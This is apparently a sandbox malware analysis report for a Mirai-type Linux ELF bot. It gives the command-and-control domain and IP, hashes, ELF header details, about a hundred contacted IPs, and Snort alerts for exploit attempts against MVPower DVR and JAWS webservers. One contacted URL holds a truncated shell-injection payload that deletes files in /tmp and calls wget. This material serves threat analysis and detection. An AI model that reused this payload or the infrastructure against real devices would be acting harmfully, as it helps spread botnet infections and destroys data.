5m6jbTvemR.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tap1337.cfd	94.156.66.36	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://upx.sf.net	5m6jbTvemR.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	5m6jbTvemR.elf, 5531.1.0000000008048000.0000000008058000.r-x.sdmp, 5m6jbTvemR.elf, 5533.1.0000000008048000.0000000008058000.r-x.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	5m6jbTvemR.elf, 5531.1.0000000008048000.0000000008058000.r-x.sdmp, 5m6jbTvemR.elf, 5533.1.0000000008048000.0000000008058000.r-x.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
76.110.58.86	unknown	United States	7922	COMCAST-7922US	false
197.57.39.25	unknown	Egypt	8452	TE-ASTE-ASEG	false
53.79.168.188	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
197.43.51.148	unknown	Egypt	8452	TE-ASTE-ASEG	false
40.65.177.89	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.255.209.172	unknown	Nigeria	37200	SIMBANET-NIGERIANG	false
145.131.223.89	unknown	Netherlands	28685	ASN-ROUTITNL	false
92.150.70.250	unknown	France	3215	FranceTelecom-OrangeFR	false
220.41.246.190	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.252.72.4	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
197.47.156.119	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.122.213.62	unknown	South Africa	16637	MTNNS-ASZA	false
73.40.144.17	unknown	United States	7922	COMCAST-7922US	false
41.143.204.123	unknown	Morocco	36903	MT-MPLSMA	false
41.143.104.41	unknown	Morocco	36903	MT-MPLSMA	false
20.5.245.89	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
156.158.51.109	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.190.151.126	unknown	Ghana	37140	zain-asGH	false
166.191.174.154	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
197.181.96.233	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.212.229.9	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
107.254.209.194	unknown	United States	7018	ATT-INTERNET4US	false
155.34.127.75	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
156.197.112.152	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.173.155.68	unknown	South Africa	37168	CELL-CZA	false
184.238.141.106	unknown	United States	10507	SPCSUS	false
43.170.59.241	unknown	Japan	4249	LILLY-ASUS	false
197.153.12.79	unknown	Morocco	36925	ASMediMA	false
193.164.71.254	unknown	Sweden	34873	IGIF-ASPT	false
123.144.194.68	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
211.207.127.120	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
131.177.103.171	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
41.183.228.193	unknown	South Africa	37028	FNBCONNECTZA	false
142.254.118.89	unknown	United States	46375	AS-SONICTELECOMUS	false
41.39.124.181	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.225.142.106	unknown	Tunisia	37671	GLOBALNET-ASTN	false
197.19.253.176	unknown	Tunisia	37693	TUNISIANATN	false
83.63.172.72	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
180.121.252.185	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
115.91.79.238	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
143.7.21.123	unknown	United States	11003	PANDGUS	false
62.117.85.44	unknown	Russian Federation	8732	COMCOR-ASMoscowRU	false
111.66.82.130	unknown	China	2510	INFOWEBFUJITSULIMITEDJP	false
141.60.54.51	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
120.120.178.86	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
14.98.128.131	unknown	India	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
23.200.128.143	unknown	United States	14638	LCPRLUS	false
170.25.76.34	unknown	Mexico	13591	MexicoReddeTelecomunicacionesSdeRLdeCVMX	false
139.138.75.159	unknown	United States	30404	BSCL-11US	false
156.146.251.161	unknown	United States	1448	UNITED-BROADBANDUS	false
81.18.45.76	unknown	Kazakhstan	29046	RBK-ASKZ	false
216.36.67.87	unknown	United States	4565	MEGAPATH2-US	false
47.171.224.192	unknown	United States	5650	FRONTIER-FRTRUS	false
190.141.21.33	unknown	Panama	18809	CableOndaPA	false
95.110.130.125	unknown	Italy	31034	ARUBA-ASNIT	false
38.21.136.32	unknown	United States	393670	SFC-GAUS	false
41.97.63.165	unknown	Algeria	36947	ALGTEL-ASDZ	false
149.9.143.172	unknown	United States	14987	RETHEMHOSTINGUS	false
177.22.201.95	unknown	Brazil	262901	VcnetProvedoradeInternetLtdaBR	false
41.225.142.164	unknown	Tunisia	37671	GLOBALNET-ASTN	false
71.20.68.90	unknown	United States	7029	WINDSTREAMUS	false
91.1.93.54	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
156.125.137.41	unknown	United States	393504	XNSTGCA	false
142.121.134.39	unknown	Canada	577	BACOMCA	false
202.25.65.127	unknown	Japan	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	false
190.32.244.12	unknown	Panama	11556	CableWirelessPanamaPA	false
9.169.60.58	unknown	United States	3356	LEVEL3US	false
98.136.201.222	unknown	United States	36647	YAHOO-GQ1US	false
119.111.116.119	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
25.193.204.112	unknown	United Kingdom	7922	COMCAST-7922US	false
121.197.114.199	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
187.119.47.77	unknown	Brazil	26599	TELEFONICABRASILSABR	false
41.157.30.15	unknown	South Africa	37168	CELL-CZA	false
206.107.169.224	unknown	United States	1239	SPRINTLINKUS	false
41.102.102.228	unknown	Algeria	36947	ALGTEL-ASDZ	false
166.208.71.207	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
132.39.33.228	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
203.227.89.180	unknown	Korea Republic of	9848	SEJONGTELECOM-AS-KRSejongTelecomKR	false
176.67.2.139	unknown	Ukraine	25133	MCLAUT-ASUA	false
12.108.185.0	unknown	United States	7018	ATT-INTERNET4US	false
60.107.114.120	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
13.50.219.58	unknown	United States	16509	AMAZON-02US	false
135.164.211.108	unknown	United States	14962	NCR-252US	false
41.59.97.44	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
199.132.16.126	unknown	United States	4152	USDA-1US	false
156.158.50.35	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
140.112.12.21	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
208.203.38.161	unknown	United States	701	UUNETUS	false
104.66.149.44	unknown	United States	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
25.46.13.198	unknown	United Kingdom	7922	COMCAST-7922US	false
96.230.127.202	unknown	United States	701	UUNETUS	false
91.123.245.137	unknown	Netherlands	1213	HEANETIE	false
94.72.131.57	unknown	Bulgaria	29030	TELECABLE-ASBG	false
156.3.86.125	unknown	United States	2920	LACOEUS	false
197.71.38.242	unknown	South Africa	16637	MTNNS-ASZA	false
72.138.41.76	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
220.212.215.55	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
156.193.32.245	unknown	Egypt	8452	TE-ASTE-ASEG	false
174.40.48.50	unknown	United States	6167	CELLCO-PARTUS	false
41.10.179.255	unknown	South Africa	29975	VODACOM-ZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.57.39.25	VIeR8302Po.elf	Get hash	malicious	Mirai, Moobot	Browse
197.57.39.25	TRC.x86.elf	Get hash	malicious	Mirai	Browse
197.255.209.172	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	S1Wz3WVCub.elf	Get hash	malicious	Mirai	Browse
	to8JPU7Qkp.elf	Get hash	malicious	Gafgyt, Mirai	Browse
197.43.51.148	skyljne.arm-20240113-1800.elf	Get hash	malicious	Mirai	Browse
197.43.51.148	hVF2AR667H	Get hash	malicious	Mirai	Browse
41.143.204.123	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm	Get hash	malicious	Mirai	Browse
	notabotnet.x86-20220417-1150	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
41.252.72.4	x86.elf	Get hash	malicious	Mirai	Browse
	91lC01xoJL.elf	Get hash	malicious	Mirai, Moobot	Browse
	WwP82syI4C.elf	Get hash	malicious	Unknown	Browse
	LT3PftxFsP	Get hash	malicious	Mirai	Browse
	apep.arm7	Get hash	malicious	Mirai	Browse
197.47.156.119	x86.elf	Get hash	malicious	Mirai	Browse
	MWh3yNT57z.elf	Get hash	malicious	Mirai, Moobot	Browse
	mpsl	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
41.122.213.62	M9GZZBbgw4.elf	Get hash	malicious	Mirai	Browse
	8IkIEWQZ2I	Get hash	malicious	Mirai	Browse
	CZ9G6134g4	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tap1337.cfd	sxUaaIRWNm.elf	Get hash	malicious	Mirai	Browse	94.156.66.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TE-ASTE-ASEG	dCgxRUNy7h.elf	Get hash	malicious	Mirai	Browse	41.237.9.31
	KhaudIY6tv.elf	Get hash	malicious	Mirai	Browse	156.198.173.245
	sxUaaIRWNm.elf	Get hash	malicious	Mirai	Browse	41.239.243.24
	skid.mips.elf	Get hash	malicious	Mirai	Browse	102.41.181.1
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.41.152.224
	skid.arm.elf	Get hash	malicious	Mirai	Browse	197.58.204.235
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	41.37.180.77
	skid.arm5.elf	Get hash	malicious	Mirai	Browse	197.50.174.120
	skid.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	156.206.78.179
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.53.143.15
TE-ASTE-ASEG	dCgxRUNy7h.elf	Get hash	malicious	Mirai	Browse	41.237.9.31
	KhaudIY6tv.elf	Get hash	malicious	Mirai	Browse	156.198.173.245
	sxUaaIRWNm.elf	Get hash	malicious	Mirai	Browse	41.239.243.24
	skid.mips.elf	Get hash	malicious	Mirai	Browse	102.41.181.1
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.41.152.224
	skid.arm.elf	Get hash	malicious	Mirai	Browse	197.58.204.235
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	41.37.180.77
	skid.arm5.elf	Get hash	malicious	Mirai	Browse	197.50.174.120
	skid.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	156.206.78.179
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.53.143.15
COMCAST-7922US	XfUxF4PeM1.elf	Get hash	malicious	Mirai	Browse	73.191.255.57
	rTWdhjfGwr.elf	Get hash	malicious	Unknown	Browse	73.123.58.0
	dCgxRUNy7h.elf	Get hash	malicious	Mirai	Browse	25.65.232.114
	KhaudIY6tv.elf	Get hash	malicious	Mirai	Browse	96.136.127.148
	sxUaaIRWNm.elf	Get hash	malicious	Mirai	Browse	73.212.134.9
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	50.169.37.50
	skid.arm.elf	Get hash	malicious	Mirai	Browse	68.41.182.121
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	98.48.231.151
	skid.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	70.91.221.110
	skid.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	71.225.46.224
DAIMLER-ASITIGNGlobalNetworkDE	XfUxF4PeM1.elf	Get hash	malicious	Mirai	Browse	53.132.229.63
	skid.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	53.26.185.44
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	53.137.53.157
	skid.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	53.236.196.189
	SecuriteInfo.com.Linux.Siggen.9999.32502.22648.elf	Get hash	malicious	Mirai	Browse	53.15.57.130
	jHahp2yDiQ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	53.52.46.49
	iAh71RkF8q.elf	Get hash	malicious	Gafgyt, Mirai	Browse	53.51.46.50
	omLMIQ8D45.elf	Get hash	malicious	Mirai	Browse	53.68.172.56
	iOsHTdcOUN.elf	Get hash	malicious	Mirai	Browse	53.127.55.86
	K518G6ic65.elf	Get hash	malicious	Mirai	Browse	53.209.88.69

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.87737823587388
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	5m6jbTvemR.elf
File size:	31'320 bytes
MD5:	68ca1eb30d68e2fca5cb05dd9c7767e7
SHA1:	b2c442923cd0fcc7747edeb5f99a210acba5a322
SHA256:	6c382c57f288662c7d91dfe0ca4f3d9915dddf7b2c1803a6bcdb33a41d0b7225
SHA512:	39a921508052970c1eb4fb021563e4b066d5c313e38d9597c065cab4decf810190a2e71b099cf46b135b058d5670408315b3e16a5cab529670e4eeae314218ac
SSDEEP:	768:zq3ydi2rg98FdmvPyQw7NAFkcEfUhTVV3U/jKCYfrAnaSRKk:8iFdmvPgA2cEfUhpNU/jWcj
TLSH:	A4E2E1DE8B8F860AEDD872F375CCB0518CA2961163EBCF33252D1C5E23172D156D586A
File Content Preview:	.ELF........................4...........4. ...(.....................Oy..Oy..............................@...........Q.td............................H...UPX!....................\........?d..ELF.......d....`..4.... .(.....6...-.#......}..~........@{.d..@...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x804f0b0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8048000	0x8048000	0x794f	0x794f	7.8818	0x5	R E	0x1000
LOAD	0x0	0x8050000	0x8050000	0x0	0x8940	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/13/24-09:36:31.643256	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41788	80	192.168.2.15	61.160.202.82
03/13/24-09:36:42.292485	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48994	80	192.168.2.15	129.13.103.12
03/13/24-09:36:46.908705	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59814	80	192.168.2.15	23.64.173.172
03/13/24-09:36:23.766719	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43582	80	192.168.2.15	18.173.241.216
03/13/24-09:36:45.716918	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35858	80	192.168.2.15	74.121.217.94
03/13/24-09:35:49.168248	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36842	80	192.168.2.15	164.92.134.195
03/13/24-09:36:51.042203	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54660	80	192.168.2.15	116.58.44.58
03/13/24-09:36:03.082657	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46842	80	192.168.2.15	43.227.22.178
03/13/24-09:36:24.579485	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57126	80	192.168.2.15	47.100.116.194
03/13/24-09:36:55.452980	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39680	80	192.168.2.15	114.33.81.182
03/13/24-09:35:45.304739	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59740	80	192.168.2.15	206.190.228.216
03/13/24-09:35:49.160706	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38208	80	192.168.2.15	54.219.84.144
03/13/24-09:36:07.193219	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36210	80	192.168.2.15	88.208.215.188
03/13/24-09:36:07.118468	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40648	80	192.168.2.15	104.19.52.162
03/13/24-09:35:42.083363	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59396	80	192.168.2.15	23.54.107.148
03/13/24-09:36:35.266866	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60646	80	192.168.2.15	109.199.125.205
03/13/24-09:36:17.472861	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46112	80	192.168.2.15	104.71.51.41
03/13/24-09:36:06.144557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53128	80	192.168.2.15	18.160.205.137
03/13/24-09:35:23.469310	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42208	80	192.168.2.15	44.240.57.71
03/13/24-09:35:27.996333	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50638	80	192.168.2.15	52.6.35.159
03/13/24-09:36:51.224437	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48226	80	192.168.2.15	78.128.68.56
03/13/24-09:36:37.802109	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59768	80	192.168.2.15	23.203.38.149
03/13/24-09:35:38.204713	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38872	80	192.168.2.15	34.49.241.18
03/13/24-09:36:12.832037	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57864	80	192.168.2.15	94.120.210.61
03/13/24-09:36:35.217081	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48862	80	192.168.2.15	12.171.196.53
03/13/24-09:36:38.176011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45996	80	192.168.2.15	138.100.153.96
03/13/24-09:36:45.951308	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60874	80	192.168.2.15	159.69.95.59
03/13/24-09:35:33.034272	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36274	80	192.168.2.15	52.55.75.181
03/13/24-09:35:45.537521	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53230	80	192.168.2.15	63.35.173.53
03/13/24-09:35:36.512429	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44814	80	192.168.2.15	202.62.220.100
03/13/24-09:36:35.185976	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50078	80	192.168.2.15	107.178.248.134
03/13/24-09:36:42.268960	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39156	80	192.168.2.15	186.7.191.138
03/13/24-09:36:38.252910	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45822	80	192.168.2.15	5.79.67.86
03/13/24-09:35:48.996515	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56698	80	192.168.2.15	150.60.7.143
03/13/24-09:35:41.278447	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48282	80	192.168.2.15	207.23.179.76
03/13/24-09:36:45.952634	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39240	80	192.168.2.15	81.158.178.51
03/13/24-09:36:41.409095	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42506	80	192.168.2.15	18.173.186.56
03/13/24-09:36:31.370849	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57080	80	192.168.2.15	34.66.137.67
03/13/24-09:35:56.692950	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50836	80	192.168.2.15	37.116.86.63
03/13/24-09:36:11.864411	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50680	80	192.168.2.15	104.165.55.231
03/13/24-09:35:32.552165	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37936	80	192.168.2.15	147.255.147.103
03/13/24-09:36:42.268960	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39156	80	192.168.2.15	186.7.191.138
03/13/24-09:36:51.042203	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54660	80	192.168.2.15	116.58.44.58
03/13/24-09:35:21.201633	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60148	80	192.168.2.15	47.24.170.124
03/13/24-09:35:45.537521	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53230	80	192.168.2.15	63.35.173.53
03/13/24-09:36:42.303924	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52702	80	192.168.2.15	84.33.8.231
03/13/24-09:36:23.766719	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43582	80	192.168.2.15	18.173.241.216
03/13/24-09:36:41.409095	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42506	80	192.168.2.15	18.173.186.56
03/13/24-09:35:53.308919	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39066	80	192.168.2.15	185.249.70.206
03/13/24-09:36:21.409875	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48502	80	192.168.2.15	104.197.183.33
03/13/24-09:35:02.865989	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50854	80	192.168.2.15	116.162.161.24
03/13/24-09:36:12.695319	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40730	80	192.168.2.15	184.24.27.148
03/13/24-09:35:23.469310	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42208	80	192.168.2.15	44.240.57.71
03/13/24-09:36:21.077908	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54430	80	192.168.2.15	35.170.175.108
03/13/24-09:35:42.083363	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59396	80	192.168.2.15	23.54.107.148
03/13/24-09:35:45.304739	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59740	80	192.168.2.15	206.190.228.216
03/13/24-09:36:06.207197	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50450	80	192.168.2.15	35.156.28.97
03/13/24-09:35:51.514577	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59572	80	192.168.2.15	101.178.248.87
03/13/24-09:36:23.781794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49456	80	192.168.2.15	209.50.54.16
03/13/24-09:36:03.082657	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46842	80	192.168.2.15	43.227.22.178
03/13/24-09:36:17.472861	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46112	80	192.168.2.15	104.71.51.41
03/13/24-09:35:53.308919	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39066	80	192.168.2.15	185.249.70.206
03/13/24-09:36:55.165021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40650	80	192.168.2.15	45.33.240.55
03/13/24-09:35:33.034272	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36274	80	192.168.2.15	52.55.75.181
03/13/24-09:35:49.160706	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38208	80	192.168.2.15	54.219.84.144
03/13/24-09:36:03.028460	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49234	80	192.168.2.15	210.203.11.238
03/13/24-09:36:49.258153	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51816	80	192.168.2.15	86.106.182.6
03/13/24-09:36:23.781794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49456	80	192.168.2.15	209.50.54.16
03/13/24-09:36:37.612328	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35718	80	192.168.2.15	23.41.180.70
03/13/24-09:36:37.802109	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59768	80	192.168.2.15	23.203.38.149
03/13/24-09:36:31.370849	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57080	80	192.168.2.15	34.66.137.67
03/13/24-09:35:58.225126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39550	80	192.168.2.15	95.55.211.177
03/13/24-09:36:55.452980	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39680	80	192.168.2.15	114.33.81.182
03/13/24-09:35:51.496269	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52678	80	192.168.2.15	202.130.202.115
03/13/24-09:36:23.770577	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45862	80	192.168.2.15	50.17.201.7
03/13/24-09:35:32.762667	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36628	80	192.168.2.15	23.75.211.230
03/13/24-09:36:14.134717	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39868	80	192.168.2.15	52.84.181.70
03/13/24-09:35:36.249043	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56064	80	192.168.2.15	154.201.131.98
03/13/24-09:35:38.349172	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34576	80	192.168.2.15	164.92.198.46
03/13/24-09:35:56.692950	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50836	80	192.168.2.15	37.116.86.63
03/13/24-09:36:56.114896	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36970	80	192.168.2.15	77.68.24.107
03/13/24-09:35:36.008345	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35146	80	192.168.2.15	160.99.23.245
03/13/24-09:35:48.996515	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56698	80	192.168.2.15	150.60.7.143
03/13/24-09:35:32.552165	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37936	80	192.168.2.15	147.255.147.103
03/13/24-09:36:35.185976	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50078	80	192.168.2.15	107.178.248.134
03/13/24-09:36:35.316946	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58828	80	192.168.2.15	152.92.119.127
03/13/24-09:36:14.134717	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39868	80	192.168.2.15	52.84.181.70
03/13/24-09:36:12.695319	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40730	80	192.168.2.15	184.24.27.148
03/13/24-09:35:35.768917	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56846	80	192.168.2.15	200.88.231.100
03/13/24-09:36:11.864411	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50680	80	192.168.2.15	104.165.55.231
03/13/24-09:36:13.430832	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48152	80	192.168.2.15	82.194.168.210
03/13/24-09:35:02.898657	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34984	80	192.168.2.15	23.58.104.81
03/13/24-09:35:58.652675	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59360	80	192.168.2.15	183.110.116.127
03/13/24-09:36:14.010919	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49826	80	192.168.2.15	216.57.226.26
03/13/24-09:36:49.268725	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54294	80	192.168.2.15	20.91.181.127
03/13/24-09:36:16.257152	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33634	80	192.168.2.15	54.179.3.83
03/13/24-09:36:23.770577	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45862	80	192.168.2.15	50.17.201.7
03/13/24-09:36:55.008188	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53162	80	192.168.2.15	176.67.160.184
03/13/24-09:35:51.514577	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59572	80	192.168.2.15	101.178.248.87
03/13/24-09:36:07.193219	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36210	80	192.168.2.15	88.208.215.188
